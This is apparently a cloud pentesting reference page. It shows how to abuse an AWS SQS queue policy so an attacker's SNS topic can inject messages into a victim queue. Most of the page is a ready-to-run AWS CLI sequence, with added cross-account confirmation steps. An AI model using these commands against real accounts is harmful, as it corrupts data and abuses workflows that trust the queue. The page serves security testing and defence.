AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy

Reading time: 4 minutes

Description

Abuse an SQS queue resource policy to allow an attacker-controlled SNS topic to publish messages into a victim SQS queue. In the same account, an SQS subscription to an SNS topic auto-confirms; in cross-account, you must read the SubscriptionConfirmation token from the queue and call ConfirmSubscription. This enables unsolicited message injection that downstream consumers may implicitly trust.

Requirements

• Ability to modify the target SQS queue resource policy: sqs:SetQueueAttributes on the victim queue.
• Ability to create/publish to an SNS topic under attacker control: sns:CreateTopic, sns:Publish, and sns:Subscribe on the attacker account/topic.
• Cross-account only: temporary sqs:ReceiveMessage on the victim queue to read the confirmation token and call sns:ConfirmSubscription.

Same-account exploitation

REGION=us-east-1
# 1) Create victim queue and capture URL/ARN
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# 2) Create attacker SNS topic
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)

# 3) Allow that SNS topic to publish to the queue (queue resource policy)
cat > /tmp/ht-sqs-sns-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
JSON
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
# Provide the attribute as a JSON map so quoting works reliably
cat > /tmp/ht-attrs.json <<JSON
{
  "Policy": "REPLACE_POLICY_JSON"
}
JSON
# Embed the policy file contents as a JSON string
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json

# 4) Subscribe the queue to the topic (auto-confirms same-account)
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION

# 5) Publish and verify injection
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All

Cross-account notes

• The queue policy above must allow the foreign TOPIC_ARN (attacker account).
• Subscriptions won’t auto-confirm. Grant yourself temporary sqs:ReceiveMessage on the victim queue to read the SubscriptionConfirmation message and then call sns confirm-subscription with its Token.

Impact

Potential Impact: Continuous unsolicited message injection into a trusted SQS queue via SNS, potentially triggering unintended processing, data pollution, or workflow abuse.